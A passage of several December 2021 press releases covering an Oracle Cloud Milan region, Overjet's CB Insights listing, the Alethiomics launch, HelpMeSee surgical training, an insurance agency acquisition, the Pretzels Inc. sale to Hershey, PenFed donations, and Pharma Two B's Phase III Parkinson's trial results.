Europe, Accenture, said: "The opening of the Milan region in Italy will enable us to better help our clients reimagine their futures with cloud, using it as a launchpad to drive continuous innovation and unlock the value of data. By leveraging Oracle Cloud, organizations across industries can bring the power and efficiency of automation to business functions across their enterprise in a secure environment. Finally, the fact that Oracle's cloud platforms are powered by 100 percent renewable energy sources will help our clients advance their sustainability efforts." Sustainability as a Priority Oracle is committed to sustainability and has pledged to power all Oracle Cloud regions worldwide with 100 percent renewable energy by 2025. Several Oracle Cloud regions, including regions in North America, South America, and eight cloud regions in Europe are already powered by 100 percent renewable energy, and all Oracle Cloud regions use state-of-the-art energy management and cooling technologies to minimize their impact on the environment. As part of its renewable energy clean Cloud initiative, Oracle reused or recycled 99.6 percent of its retired hardware in FY21 while strictly adhering to Oracle's data privacy and security practices. Cloud Regions Deliver Multicloud Oracle's strategy is to meet customers where they are, and providing options that can enable customers to have data and services hosted largely where they need it. Customers can deploy Oracle Cloud within their own data centres with Dedicated Region and Exadata [email protected], deploy cloud services locally with public cloud-based management, or deploy cloud services remotely on the edge with Roving Edge Infrastructure. OCI's extensive network of more than 70 regional and global FastConnect partners provides customers with dedicated connectivity to Oracle cloud regions and OCI services, giving them one of the best options anywhere in the world. FastConnect can be a relatively easy, flexible and cost-effective way to create a dedicated, private network connection with higher bandwidth, lower latency and more consistent performance than public Internet connections. In addition, OCI and Microsoft Azure have established a strategic partnership that allows joint customers to run workloads in both clouds. The partnership offers a low-latency cross-cloud interconnection between OCI and Azure in 8 select regions, a federated identity for joint customers deploying applications in both clouds, and a collaborative support model. Customers can run full-stack applications in a multicloud configuration, while maintaining high-performance connectivity that doesn't require another architecture. They can also potentially migrate existing applications or develop native cloud applications that use a combination of OCI and Azure services. Currently available Oracle Cloud regions: Asia Pacific : Tokyo ( Japan ), Osaka ( Japan ), Seoul ( South Korea ), Chuncheon ( South Korea ), Mumbai ( India ), Hyderabad ( India ), Sydney ( Australia ), Melbourne ( Australia ), Singapore ( Singapore ) Tokyo ( ), ( ), ( ), Chuncheon ( ), ( ), ( ), ( ), ( ), ( ) Americas: San Jose ( United States ), Phoenix ( United States ), Ashburn ( United States ), Toronto ( Canada ), Montreal ( Canada ), Sao Paolo (Brazil) , Vinhedo (Brazil), Santiago ( Chile ) San Jose ( ), ( ), ( ), ( ), ( ), Sao , Vinhedo (Brazil), ( ) Europe : Frankfurt ( Germany ), London ( United Kingdom ), Newport, Wales (United Kingdom ), Zurich ( Switzerland ), Amsterdam ( The Netherlands ), Marseille ( France ), Milan ( Italy ), Stockholm ( Sweden ) Frankfurt ( ), ( ), Newport, ), Zurich ( ), ( ), ( ), ( ), ( ) Middle East : Jeddah ( Saudi Arabia ), Abu Dhabi (U.A.E), Dubai (U.A.E), Jerusalem ( Israel ) Jeddah ( ), (U.A.E), (U.A.E), ( ) Government: Two general U.S. Government regions, and U.S. National Security regions, three U.S. Department of Defense specific Government regions, two in the United Kingdom ( London and Newport, Wales ) Additional resources More information on Oracle Cloud Regions More information on Oracle Cloud Infrastructure About Oracle Oracle offers integrated suites of applications plus secure, autonomous infrastructure in the Oracle Cloud. For more information about Oracle (NYSE: ORCL), please visit us at www.oracle.com. Trademarks Oracle, Java, and MySQL are registered trademarks of Oracle Corporation. SOURCE Oracle NEW YORK and BOSTON, Dec. 15, 2021 /PRNewswire/ -- CB Insights has named Overjet ( www.overjet.ai ), the global leader in dental AI, to its third annual Digital Health 150 , which showcases the 150 most promising private digital health companies in the world. This year's Digital Health 150 was unveiled during CB Insights' annual Future of Health event. Overjet's patented dental AI technology encodes dentist-level understanding into software products to support the best patient care. Selected for the clinical intelligence category of Digital Health 150, Overjet's latest recognition marks the second time the firm has recognized Overjet's achievements in dental AI. Earlier this year, CB Insights named Overjet to its fifth annual AI 100 , the first time a dental company was featured on CB Insights' list of the 100 most promising private AI companies in the world. "We are proud that our focus in improving patient oral care with cutting-edge AI-driven dentistry has led CB Insights to select Overjet as one of the world's top digital health companies using technology to transform healthcare," said Dr. Wardah Inam, PhD, CEO and co-founder of Overjet. "It's an honor to be representing the field of dentistry on the Digital Health 150 and to be leading the industry forward in dental AI." The 2021 Digital Health 150 cohort has raised roughly $14.9B in aggregate funding across 522 deals since 2016, and includes startups at various investment stages of development, from early-stage to well-funded unicorns . Companies this year include startups working on data integration & analytics, hybrid virtual / in-person care, digital therapeutics, clinical intelligence, and more. "This year's Digital Health 150 is one of our most expansive yet, spotlighting 16 categories including virtual care, clinical trials tech, and workflow automation, as well as adding new categories such as home health tech and computer-aided imaging," said Brian Lee, SVP of CB Insights' Intelligence Unit. "Last year's class has seen more than 20 exits, raised an additional $18.6B in aggregate funding, and announced over 250 partnerships since being recognized, and we're excited to see the future success of this year's winners." Through an evidence-based approach, the CB Insights research team selected the Digital Health 150 from a pool of over 11,000 companies, including applicants and nominees. They were chosen based on several factors, including data submitted by the companies, company business models and momentum in the market, and Mosaic scores , CB Insights' proprietary algorithm that measures the overall health and growth potential of private companies. 2021 Overjet Highlights: Overjet secured FDA clearance the first-ever dental AI company to receive such a clearance in May 2021 for its Dental Assist TM product designed for dentists and hygienists at dental clinics. the first-ever dental AI company to receive such a clearance in for its Dental Assist product designed for dentists and hygienists at dental clinics. Overjet's clinical intelligence platform is being used by some of the largest dental customers and dental support organizations nationwide, including New England Family Dentistry . . In the dental benefits space, Overjet has emerged as the leading AI company, inking 16 major dental carriers as customers for coverage of over 73 million Americans. 2021 Digital Health 150 Investment Highlights: Unicorns : 17 of the 150 companies (11%) are valued at or above $1B as of their latest funding rounds. : 17 of the 150 companies (11%) are valued at or above as of their latest funding rounds. Funding trends : In 2021 year-to-date (YTD), these 150 private companies have raised $9.2B in equity funding across 153 deals (as of 11/19/21). : In 2021 year-to-date (YTD), these 150 private companies have raised in equity funding across 153 deals (as of 11/19/21). Mega-rounds : Since 2020, there have been 39 mega-round ($100M+) equity investments to this year's Digital Health 150, with 31 (79%) of them taking place in 2021 YTD. : Since 2020, there have been 39 mega-round ($100M+) equity investments to this year's Digital Health 150, with 31 (79%) of them taking place in 2021 YTD. Global representation : 23% of the 2021 Digital Health 150 are based outside the US. After the US, the UK is home to the most Digital Health 150 companies (9), followed by India (4). This year's winners are based in 18 countries, including China , Israel , Nigeria , Germany , Argentina , and New Zealand . : 23% of the 2021 Digital Health 150 are based outside the US. After the US, the UK is home to the most Digital Health 150 companies (9), followed by (4). This year's winners are based in 18 countries, including , , , , , and . Top VC investor: General Catalyst is the most active investor in this year's Digital Health 150 companies, having invested in 39 deals since 2016. About CB Insights CB Insights builds software that enables the world's best companies to discover, understand, and make technology decisions with confidence. By marrying data, expert insights, and work management tools, clients manage their end-to-end technology decision-making process on CB Insights. To learn more, please visit www.cbinsights.com. About Overjet Overjet is the global leader in dental artificial intelligence, helping both payers and providers improve patient care. The company was founded by experts from the Massachusetts Institute of Technology and Harvard School of Dental Medicine, and has assembled the largest and most seasoned team of technologists and domain experts with deep AI, dental, and insurance experience. Follow Overjet at www.overjet.ai, on LinkedIn and on Twitter . Media Contact Overjet PR [email protected] SOURCE Overjet - Spin-out from University of Oxford built on a decade of world-leading research on blood cancers and breakthrough innovation in single-cell multi-omic analysis by founders Professor Adam Mead and Professor Beth Psaila - 6m seed financing from science business builder Oxford Science Enterprises - Novel therapeutics, based on targets discovered using the TARGET-seq platform, will be developed to address unmet need in blood cancers - TARGET-seq highlighted in a plenary session at the American Society of Haematology (ASH) meeting on 12 December - Led by pharma/biotech experienced Board and Management, Dr Mark Throsby, Chairman and Dr Edward Ainscow, CSO OXFORD, England, Dec. 15, 2021 /PRNewswire/ -- Alethiomics, a drug discovery company focused on developing targeted therapies to treat a family of blood cancers called myeloproliferative neoplasms (MPNs), launched today, backed by 6m seed financing from Oxford Science Enterprises. A spin-out from the University of Oxford, the company is based on world-leading discoveries in clinical haematology and single-cell multi-omics by its founders, Professor Adam Mead and Professor Beth Psaila. Mark Throsby Ph.D. has been appointed as Chairman and Edward Ainscow Ph.D. has joined as Chief Scientific Officer (CSO). MPNs are a group of chronic blood cancers that begin with mutations occurring in cancer stem cells in the bone marrow. Currently available treatments, for example JAK2 inhibitors, provide symptomatic benefit, but do not tackle the underlying disease drivers meaning that many patients have a persistent burden of disease and remain at risk of disease progression. Identifying new drug targets within these mutant cells is critical to developing targeted and curative therapies. Alethiomics' founders have pioneered the use of single-cell multi-omic approaches to better understand the biology of mutant-positive stem cells in MPNs and to discover novel molecular targets as the basis for drug discovery. They have also developed bespoke platforms for target validation to accelerate successful translation to the clinic. Prof. Mead said: "Despite tremendous advances in oncology, the quality of life and outcome for patients with many aggressive cancers remains poor. It is now clear that precision treatments targeted at specific driver mutations in cancer-initiating cells are required. Current approaches to single-cell tumour analysis are unable to resolve both cellular and mutational heterogeneity. The Alethiomics TARGET-seq platform simultaneously detects DNA mutations, the RNA transcriptome and cell surface proteins from individual cells to provide a holistic understanding of pathologies and more intelligent target identification. Prof. Psaila added: "Our initial focus is on the most sinister MPNs, for which current treatments are really inadequate and many of our patients still suffer very poor outcomes. We are really excited to have founded Alethiomics and to be recruiting an experienced and dynamic team, enabling us to translate our discoveries in novel target identification into precision medicines to improve the lifespan and quality of life for the patients we care for in the clinic." The breakthrough potential of the founders' research is underlined by the fact that work using TARGET-seq, led by Professor Mead, was selected for the Plenary Session at one of most prestigious scientific presentations in haematology; the American Society of Hematology (ASH) annual meeting1. The seed financing will be used to establish Alethiomics' research operations at the Oxford BioEscalator, to advance its pipeline of programmes in MPNs, and to industrialise the company's proprietary TARGET-seq drug discovery and target prioritisation platform. Claire Brown, PhD, MBA, Life Sciences Partner at Oxford Science Enterprises said: "We are tremendously impressed by the unparalleled expertise in haematological cancer of Prof. Mead and Prof. Psaila, and their passion for bringing new therapies to the clinic to benefit patients. We look forward to building on their foundational discoveries and to developing clinical programmes and new therapies that deliver on the early promise of the technology." Co-founders, Adam and Beth, will act as consultants to Alethiomics and serve on the Scientific Advisory Board, whilst continuing to lead their research groups at the MRC Weatherall Institute of Molecular Medicine, Radcliffe Department of Medicine, University of Oxford alongside their clinical practices in the Department of Haematology at Oxford University Hospitals NHS Trust. Chairman Dr Mark Throsby is a biopharmaceutical executive with extensive research experience and a track record of innovation and execution. He is an expert in antibody engineering and immunology with over two decades of commercial experience gained in pharma and biotech at Crucell NV and Merus NV. Alongside his role at Alethiomics he acts as COO/CSO of Gadeta BV and serves on the Board of Ona Therapeutics. CSO Dr Ed Ainscow brings two decades of experience working on innovative approaches to early drug discovery in both pharma and biotech. He joins from Carrick Therapeutics Ltd where he has been Chief Technology Officer for the past five years. Alethiomics foundational research has been supported by academic and charitable grants including the support of Cancer Research UK, which becomes a minority shareholder in the company. 1. ASH Plenary Session Information Title: Single-Cell Multi-Omics Reveals the Genetic, Cellular and Molecular Landscape of TP53 Mutated Leukemic Transformation in MPN Plenary Scientific Session: Hematology Disease Topics & Pathways: Fundamental Science, Genomics, Translational Research, Hematopoiesis, Biological Processes Presenter: Dr Rodriguez-Meira Timing: Presented on Sunday, December 12, 2021, 2:00 PM-4:00 PM EST Paper: https://ash.confex.com/ash/2021/webprogram/Paper150191.html Notes to Editors: About Alethiomics Alethiomics Ltd is a pre-clinical biotech company harnessing the power of single cell multi-omic technology to discover and develop life changing treatments for patients with blood cancer. A spin-out from the University of Oxford, Alethiomics was co-founded with support from Oxford University Innovation in 2021 by Prof. Adam Mead and Prof Bethan Psaila, both academic clinicians and expert haematologists. With R&D facilities in Oxford UK, the company is financed by seed investment from Oxford Science Enterprises. Find out more: www.alethiomics.com | LinkedIn | Twitter About Oxford Science Enterprises Oxford Science Enterprises is a Science Business Builder, committed to helping solve the world's toughest problems for more people, in more places, faster. The company does this by transforming world-leading science into world-changing businesses, partnering the best scientists from the world's best university with the best business brains. Oxford Science Enterprises grows its companies with care and expertise, investing for real-world impact, not only financial returns, and re-investing proceeds back into the next generation of original research and world-changing businesses. Since 2015, the company has received an automatic stake in all Oxford University science spinouts and has taken a leading role in creating and building enterprises that address problems that affect people in life-changing ways: their health, the availability of food, the survival of the planet. Find out more: oxfordscienceenterprises.com | Twitter | LinkedIn MRC Weatherall Institute of Molecular Medicine (MRC WIMM) The MRC WIMM was founded in 1989 by Sir David Weatherall, and was the first institute of its kind in the UK to link basic research in molecular and cell biology with clinical research. The MRC WIMM is a strategic partnership between the Medical Research Council and the University of Oxford. The institute brings together over 500 researchers, staff and students now focusing on five research areas: rare genetic diseases, haematology, immunology and infection, stem cell and developmental biology, and cancer biology. Find out more: https://www.imm.ox.ac.uk/ Radcliffe Department of Medicine (RDM) The RDM is one of the two main departments of medicine at the University of Oxford, and aims to tackle some of the world's biggest health challenges by integrating innovative basic biology with cutting edge clinical research. The RDM has internationally renowned programmes in a range of areas including cardiovascular sciences, diabetes and endocrinology, immunology, haematology and pathology. Find out more: https://www.rdm.ox.ac.uk/ About Cancer Research UK Cancer Research UK is the world's leading cancer charity dedicated to saving lives through research. It's pioneering work into the prevention, diagnosis and treatment of cancer has helped save millions of lives. Cancer Research UK has been at the heart of the progress that has already seen survival in the UK double in the last 40 years. Today, 2 in 4 people survive their cancer for at least 10 years. Cancer Research UK's ambition is to accelerate progress so that by 2034, 3 in 4 people will survive their cancer for at least 10 years. Cancer Research UK supports research into all aspects of cancer through the work of over 4,000 scientists, doctors and nurses. Together with its partners and supporters, Cancer Research UK's vision is to bring forward the day when all cancers are cured. Find out more: www.cancerresearchuk.org Follow us on Twitter and Facebook. For Further information, please contact: At the Company Ed Ainscow, CSO, [email protected] Media Enquiries Sue Charles, Charles Consultants, [email protected] , +44 (0)7986 726585 SOURCE Alethiomics In October of 2021, B.J. Government Medical College launched a pilot program with HelpMeSee to bring its virtual reality, simulation-based training to help fight India's cataract blindness crisis by training more cataract specialists. The training also allows ophthalmologists to overcome the limits of COVID-19 on surgical skills training, to increase patient safety. Today, nineteen new graduates have received and successfully completed the training, as a total of 190 trainees complete simulation-based training in India this year. Additional courses are underway and will continue in 2022. Currently, 66% of the blind in India are due to untreated cataract, according to the National Blindness and Visual Impairment Survey. India has approximately 20,000 ophthalmologists, which equates to an average of 8 ophthalmologists for every 1 million people, which is significantly lower in comparison with the developed world and poorly distributed throughout the nation. Many face significant challenges acquiring necessary surgical skills due to limitations with the traditional mode of training. "COVID-19 has limited surgical training and as our population ages, the gap between people in need of surgery and available surgeons widens," explained Dr. Ambekar. "To address this growing need, we are using simulation-based training within our residency and fellowship programs for ophthalmologists, to offer a significantly faster and safer path to surgical competence. It ensures not just maintaining, but improving the quality of surgical skills training being offered within the same time frame, despite the challenges faced due to COVID-19." "The government in India has shown a deep commitment to finding solutions that will help restore sight for people in India who are blind due to cataract," said Saro Jahani, president and CEO of HelpMeSee. "Along with our partners around the world, HelpMeSee is using virtual reality simulation-based training to transform training, making it more effective and efficient. As this treatment scales, it is part of an ecosystem that can restore sight for millions of people." HelpMeSee's partnership with B.J. Government Medical College in Pune, is the first with any government medical college and hospital in India and is one of the many locations where HelpMeSee is making this innovative training program available to aspiring cataract specialists. The organization has deployed 40 surgical simulators at 11 training centers worldwide. In India, it has established partnerships with LV Prasad Eye Institute (LVPEI) in Hyderabad and Aravind Eye Hospitals in Madurai. HelpMeSee also offers this training at its own training center located in Mumbai. HelpMeSee offers a six-day full time structured training curriculum, most of which is dedicated to learning and practicing surgical tasks on its high-fidelity virtual reality surgical simulator. Based on a study that was published recently, novice surgeons who were trained using this simulation-based training course performed much better as they began live surgery on patients compared with those trained conventionally. It was observed that those trained with simulation-based training had 50% fewer errors in live surgery, resulting in significantly higher level of patient safety. "Virtual reality, simulation-based training delivers the authentic feeling of touch that is experienced in live surgery, and the ability to practice over and over, without the risk of mistakes that could permanently damage the sight of a patient," explained HelpMeSee Chief Medical Officer Dr. Van Lansingh. "The technology has applications for both the developed and the developing world, as seasoned surgeons who have had limited access to live surgery during COVID-19 use it to keep skills fresh and new cataract specialists are trained to deliver care for people in great need." ABOUT BJ GOVERNMENT MEDICAL COLLEGE Established in 1867, B.J. Medical College is a medical college located in Pune, Maharashtra, India. The college, administered by the Government of Maharashtra, comprises clinical and para-clinical departments working alongside the Sassoon General Hospital. For more information, go to www.bjmcpune.org. ABOUT HELPMESEE In a world where 100 million people are blind or visually impaired due to cataract, HelpMeSee works to eliminate cataract blindness by training cataract specialists using virtual reality, simulation-based training and sophisticated courseware. A 501c3 organization, HelpMeSee was founded by Albert Ueltschi, considered by many to be the father of modern flight training. Al and his son Jim saw the opportunity to end suffering by delivering successful innovation from the aviation industry to the fight against cataract blindness. Today, with more than 40 simulators and 11 training centers worldwide, the organization trains cataract specialists and improves surgical skills for ophthalmologists who have had limited access to surgery due to COVID-19. With a focus on scalability and global solutions, the organization partners with governments, universities, and innovators to fight the global cataract blindness crisis and restore sight for people around the world. For more, go to: www.helpmesee.org or YouTube: HelpMeSee's Mission. Contact: Kelley Denny 412-352-9240 [email protected] SOURCE HelpMeSee Related Links http://www.helpmesee.org FORT WASHINGTON, Pa., Dec. 15, 2021 /PRNewswire/ -- Patriot Growth Insurance Services, LLC ("Patriot"), one of the country's largest and fastest-growing national insurance agencies, today announced that The Safegard Group ("Safegard") has joined the Patriot platform. The partnership with Safegard meaningfully strengthens Patriot's existing property & casualty and employee benefits brokerage capabilities and expands the platform's geographic presence into the critical Philadelphia region. Safegard is a sophisticated, risk management-focused independent agency that offers a multitude of insurance products and services throughout the Mid-Atlantic region. Headquartered in Media, PA, Safegard currently employs 56 professionals serving clients across a diverse range of industries including construction, manufacturing, distribution, non-profits, health services, technology, and financial institutions. A full-service property/casualty and employee benefits agency, Safegard has developed unique capabilities in the alternative risk management arena, including captives, risk retention groups and other innovative approaches. Founded in 1994, Safegard has built an impeccable reputation and brand in the Pennsylvania/New Jersey/Delaware marketplace. Safegard boasts an experienced and energetic leadership team that includes Chairman Bob Donato, CEO Bill Donato, and President Bill Calderaro. The leadership team and entire Safegard staff will continue in their current roles as Patriot seeks additional growth opportunities in the region. "Joining forces with Patriot is the perfect next step in the evolution of The Safegard Group," said Chairman Bob Donato. "Our firm has prospered due to an entrepreneurial culture that is intensely client-focused and service-driven. The partnership with Patriot values that culture and independence while creating new opportunities for our colleagues, providing capital to accelerate our growth, and offering additional resources and solutions to our clients to help them navigate an increasingly dynamic risk environment. This partnership is a great win for our clients and employees, and further cements Safegard's status as the preeminent risk management broker in the tri-state region." "Patriot represents everything we were looking for in a partner," said Safegard CEO Bill Donato. "We have known Matt Gardner for many years and have had the opportunity to meet and get to know Patriot's leadership team and their agency partners across the country. Very quickly it became clear that their approach and mindset align perfectly with our core values. We are beyond thrilled to join the Patriot family." "Our partnership with Safegard is the culmination of a three-year search for the right team to plant the Patriot flag in our hometown Philadelphia marketplace," said Matt Gardner, Founder and CEO of Patriot. "I have known Bob and Bill Donato and Bill Calderaro for over 20 years and am 100% certain that they and their team are a perfect cultural and operational fit for Patriot. We couldn't be happier to welcome this great group of professionals into the Patriot community and look forward to providing the Safegard team with capital, collaboration and resources to accelerate their growth journey." About Patriot Growth Insurance Services Founded in 2019, Patriot is a growth-focused national insurance services firm that partners with employee benefits and property & casualty agencies across the United States. In its second year of operation, Patriot was ranked in the top-40 largest insurance brokers in the U.S. by Business Insurance. With over 1,300 employees operating in 110 locations across 19 states, Patriot's collaborative model delivers resources and strategic support to its agencies, whose leaders continue to operate with a high degree of autonomy in their local markets. Patriot creates true alignment with its partner agencies, and its operating philosophy fosters enhanced career opportunities for its dedicated and professional team. Patriot is backed by GI Partners and Summit Partners. For more information, please visit www.patriotgis.com. Contact: Steve Carroll (215) 600-1357 [email protected] SOURCE Patriot Growth Insurance Services AUSTIN, Texas, Dec. 15, 2021 /PRNewswire/ -- An affiliate of Peak Rock Capital ("Peak Rock"), a leading middle-market private investment firm, announced today the close of its sale of Pretzels, Inc. ("Pretzels" or the "Company") to The Hershey Company ("Hershey"). Headquartered in Bluffton, Indiana, Pretzels produces an extensive portfolio of salty snacks that includes traditional, peanut-butter-filled, almond-butter-filled, flavored, seasonal, and gluten-free pretzels, as well as extruded snack products. The Company serves a diverse, blue-chip customer base that includes leading grocers and national brands. Through its 40+ year history, Pretzels has built an outstanding reputation for providing excellent customer service and exceptional product quality. An affiliate of Peak Rock acquired Pretzels in 2018 from the founding families. During Peak Rock's ownership, Pretzels embarked on a variety of transformational growth and operational initiatives. These initiatives included the expansion of the Company's Plymouth, Indiana facility and the construction of a new facility in Lawrence, Kansas, which has created over 300 new manufacturing jobs. The Company also invested heavily in new product development, introducing several successful products, including almond-butter-filled pretzels. Robert Strauss, Senior Managing Director of Peak Rock, said, "Working with the team at Pretzels has been an incredible experience. Under our ownership, the Company completed successful investments in its production capacity, innovation capabilities, and organizational talent. These investments have enabled the business to support growing customers and deliver innovative new products while driving broader category growth." Greg Pearson, Chief Executive Officer of Pretzels, added, "Peak Rock has been an invaluable partner to Pretzels as we have invested heavily in our assets and organization. The transformational growth achieved over the last several years would not have been possible without Peak Rock's support. We are excited to join Hershey and look forward to continuing to support our customers with our differentiated capabilities and unparalleled service. Further, I would like to thank the entire Pretzels team, without whom we could not have achieved this success." Jordan Campbell, Managing Director of Peak Rock, said, "We're very proud of the success that Pretzels has achieved during our ownership. The Company has grown rapidly and solidified its position as an invaluable partner to leading grocers and rapidly growing brands. We're excited for the Company's future as it continues to support the growth and product innovation of its customers and categories." Anthony DiSimone, Chief Executive Officer of Peak Rock, said, "This transaction demonstrates Peak Rock's willingness to invest substantial capital to support growth in food and beverage businesses. We look forward to partnering with additional leading consumer businesses that can benefit from Peak Rock's capabilities to invest behind strategic and operational initiatives." Evercore acted as the financial advisor and Kirkland & Ellis LLP acted as the legal advisor to the Company on the transaction. ABOUT PRETZELS, INC. Founded in 1978, Pretzels, Inc. is a leading manufacturer of pretzels and extruded snack products. Based in Bluffton, Indiana with additional facilities in Plymouth, Indiana and Lawrence, Kansas, Pretzels manufactures and distributes traditional, peanut-butter-filled, almond-butter-filled, flavored, seasonal, and gluten-free pretzels, as well as extruded snack products, to a diverse, blue-chip customer base that includes leading grocers and national brands. For more information, visit Pretzels-inc.com. ABOUT PEAK ROCK CAPITAL Peak Rock Capital is a leading middle-market private investment firm that makes equity and debt investments in companies in North America and Europe. Peak Rock's equity investment platform focuses on opportunities where it can support senior management to drive rapid growth and performance improvement, with expertise in corporate carve-outs and partnering with families and founders seeking first-time institutional capital. Peak Rock's credit platform invests across capital structures, with a broad mandate to provide flexible, tailored capital solutions to middle-market and growth-oriented businesses. Peak Rock's real estate platform makes equity and debt investments in small to mid-sized real estate assets in attractive, growing geographies. For further information about Peak Rock Capital, please visit www.peakrockcapital.com. Media Contact: Daniel Yunger Kekst CNC (212) 521-4800 [email protected] SOURCE Peak Rock Capital TYSONS, Va., Dec. 15, 2021 /PRNewswire/ -- PenFed Credit Union, the nation's second largest federal credit union, today announced $1.1 million in additional donations to the Air Force Association, Armed Services Arts Partnership, Association of the US Army, Invest in Girls, Leashes of Valor, National Military Family Association, Tunnel To Towers Foundation and Willing Warriors. PenFed has donated a record $5.5 million to community partners in 2021 to complete the most successful year in its 86-year history. "At PenFed we measure success by how many people we help," said James Schenck, PenFed President/CEO and PenFed Foundation CEO. "PenFed is proud to support our community partners on behalf of our over 3,600 employees and 2.5 million members. This year we set many records in loan originations and membership growth, but we are most proud of our record community giving." In 2021, PenFed gave $2.8 million to more than 100 charities in communities it serves and an additional $2.7 million to the PenFed Foundation. The PenFed Foundation is a national 501(c)3 founded by PenFed Credit Union and committed to empowering military service members, veterans and their communities with the skills and resources to realize financial stability and opportunity. PenFed's community partners make a difference in the lives of many through a wide range of services: Air Force Association promotes dominant U.S. Air and Space Forces as the foundation of a strong national defense; to honor and support our Airmen, Guardians, and their families; and to remember and respect our enduring heritage. Armed Services Arts Partnership provides free art and comedy classes to veterans, service members, military family members, and caregivers. Association of the US Army supports soldiers, their families, and Army civilians; provides a voice for the Army and honors those who have served. Invest in Girls works with schools, community organizations, corporations and foundations to provide financial literacy programming to young girls. Leashes of Valor brings service dogs and post-9/11 veterans together in order to enrich and improve the lives of both. National Military Family Association stands up for, supports, and enhances the quality of life for every military family through bold advocacy, innovative programming, and dynamic and responsive solutions. Tunnel to Towers Foundation honors military and first responders who continue to make the supreme sacrifice of life and limb for our country. Willing Warriors provides cost-free retreat stays and programs that positively impact wounded, injured, and ill service members and disabled veterans. PenFed is funding two of three homes at the Warrior Retreat in Haymarket, Va. About PenFed Credit Union Established in 1935, Pentagon Federal Credit Union (PenFed) is America's second-largest federal credit union, serving 2.5 million members worldwide with $32 billion in assets. PenFed Credit Union offers market-leading certificates, checking, credit cards, personal loans, mortgages, auto loans, student loans, and a wide range of other financial services with members' interests always in mind. PenFed Credit Union is federally insured by the NCUA and is an Equal Housing Lender. To learn more about PenFed Credit Union, visit PenFed.org , like us on Facebook and follow us @PenFed on Twitter . Interested in working for PenFed? Check us out on LinkedIn . We are proud to be an Equal Employment Opportunity Employer. SOURCE PenFed Credit Union REHOVOT, Israel, Dec. 15, 2021 /PRNewswire/ -- Pharma Two B Ltd., a privately held company developing innovative therapeutics based on reformulation and combinations of previously approved drugs for neurological indications, today announced that its Phase III double-blind, active-controlled study of P2B001 in early Parkinson's disease (PD) successfully met its primary and key secondary endpoints. P2B001 is a novel fixed-dose combination of extended release (ER) formulations of pramipexole (0.6mg) and rasagiline (0.75mg), with both components at lower doses than their respective marketed products. In the Phase III study, P2B001 was superior to each of its individual components as measured by the change from baseline to week 12 in total Unified Parkinson's Disease Rating Scale (UPDRS Part II and III; primary endpoint). P2B001 was superior to the pramipexole component by 2.66 points (p=0.0018) and superior to the rasagiline component by 3.30 points (p=0.0001). In addition, P2B001 demonstrated comparable efficacy to a marketed pramipexole ER (titrated to an optimal dose for each individual patient; 1.5-4.5 mg) with significantly less daytime sleepiness (somnolence), by a reduction of 2.66 points (p<0.0001) as measured by Epworth Sleepiness Scale (ESS; key secondary endpoint). P2B001 fixed dose and the marketed titrated pramipexole ER showed similar changes in total UPDRS scores after 12 weeks (-7.98 points and -8.35 points, respectively). "We are thrilled with the positive outcome of this rigorous Phase III study. There is a clear unmet medical need for an early PD treatment that can significantly improve motor symptoms and daily function, while avoiding side effects," said Dr. Sheila Oren, M.D., M.B.A., Chief Executive Officer of Pharma Two B. "The data from this Phase III study support our view that P2B001 can provide clinical benefits comparable to higher doses of commercially available dopamine agonists, while mitigating the side effects typically associated with this class of medicine such as somnolence, orthostatic hypotension and hallucinations. This is important for PD patients of all ages and is critical for the elderly, who typically do not tolerate side effects of dopamine agonists. We would like to thank all of the study participants and investigational sites that took part in this important study". Jeffrey Berkowitz, Chairman of the Board of Pharma Two B commented: "We believe these results are transformative for Pharma Two B and we are excited to complete the regulatory submissions and prepare for a commercial launch. Importantly, these robust results are consistent with our prior pivotal double-blind placebo-controlled Phase IIb study of P2B001 in PD, which successfully met all primary and secondary endpoints1. Based on the Phase IIb data and the Phase III topline results, we are preparing the regulatory submission for P2B001 and plan to submit a New Drug Application to the FDA in 2022." Topline Results P2B001 Met Primary Endpoint - The adjusted mean change from baseline to week 12 in Total-UPDRS score was -2.66 points for P2B001 versus pramipexole 0.6 mg (p=0.0018) and -3.30 points for P2B001 versus rasagiline 0.75 mg (p=0.0001) P2B001 Met Key Secondary Endpoint - The adjusted mean change from baseline to week 12 in ESS score for P2B001 versus the marketed pramipexole ER was -2.66 points (p<0.0001) Calibration of P2B001 and Pramipexole ER - The adjusted mean change in total UPDRS score from baseline to week 12 for P2B001 (-7.98 points) and the marketed pramipexole ER (-8.35 points) are comparable P2B001 Showed a Favorable Side Effect Profile - P2B001 was generally well tolerated, with more than 98% of treatment-emergent adverse events (TEAEs) being mild or moderate in severity. Early treatment termination rates were similar across treatment groups (between 7.1% - 9.1%). Treatment-emergent adverse events (TEAE) reported in >5% of participants in any arm Pramipexole ER P2B001 Pramipexole (0.6 mg) Rasagiline (0.75 mg) Somnolence 31.1% 14.7% 18.2% 4.8% Nausea 23.0% 18.7% 16.2% 6.8% Fatigue 17.6% 15.3% 14.9% 1.4% Orthostatic hypotension 12.2% 2.7% 3.4% 2.7% Constipation 9.5% 4.0% 7.4% 6.1% Dizziness 9.5% 10.7% 9.5% 12.9% Insomnia 9.5% 8.7% 6.1% 2.7% Hallucinations related 6.8% 2.7% 2% 1.4% Headache 6.8% 6.0% 9.5% 6.1% Decreased appetite 5.4% 2.0% 1.4% 1.4% Memory impairment 5.4% 0 0 0.7% Pain in extremity 5.4% 1.3% 6.8% 1.4% Fall 1.4% 4.0% 5.4% 3.4% Dr. Warren Olanow, Professor Emeritus of Neurology and Neuroscience at the Icahn School of Medicine at Mount Sinai in New York, commented, "The initiation of treatment of patients with Parkinson's disease represents an area of unmet need due to the side effects associated with current treatments. Based on the data from this well-designed, rigorous, active-controlled study, P2B001 has the potential to become a leading treatment option for PD, particularly as first line therapy for early-stage patients of all ages. The results demonstrated both superior efficacy to components and a more favorable safety profile than treatment with standard doses of pramipexole. If approved, P2B001 would enable patients to be treated with an effective dose of a dopamine agonist, yet with less adverse events often seen with this class of drugs, including daytime sleepiness, orthostatic hypotension, and hallucinations. These issues can often negatively affect patients' activities of daily living. P2B001 has the additional advantage of once-a-day administration without the need for titration." Dr. Robert A. Hauser, M.D., M.B.A, Professor of Neurology and Director of the Parkinson's Disease and Movement Disorders Center at the University of South Florida, commented, "The prevalence of Parkinson's disease increases with age, and it is the fastest growing neurological disorder across the globe. With increased life expectancy and longer disease duration, patients will often require dopaminergic replacement therapies for many years. P2B001 has the potential to offer a solution that is easy to use, provides good symptomatic control and a favorable safety profile, and may reduce or delay levodopa-associated motor complications. If approved, this product will be an important new option when considering a long-term care plan for people with early-stage Parkinson's disease." Phase 3 Study Design The study was a 12-week, multinational, randomized, double-blind, double-dummy, active-controlled, parallel group study 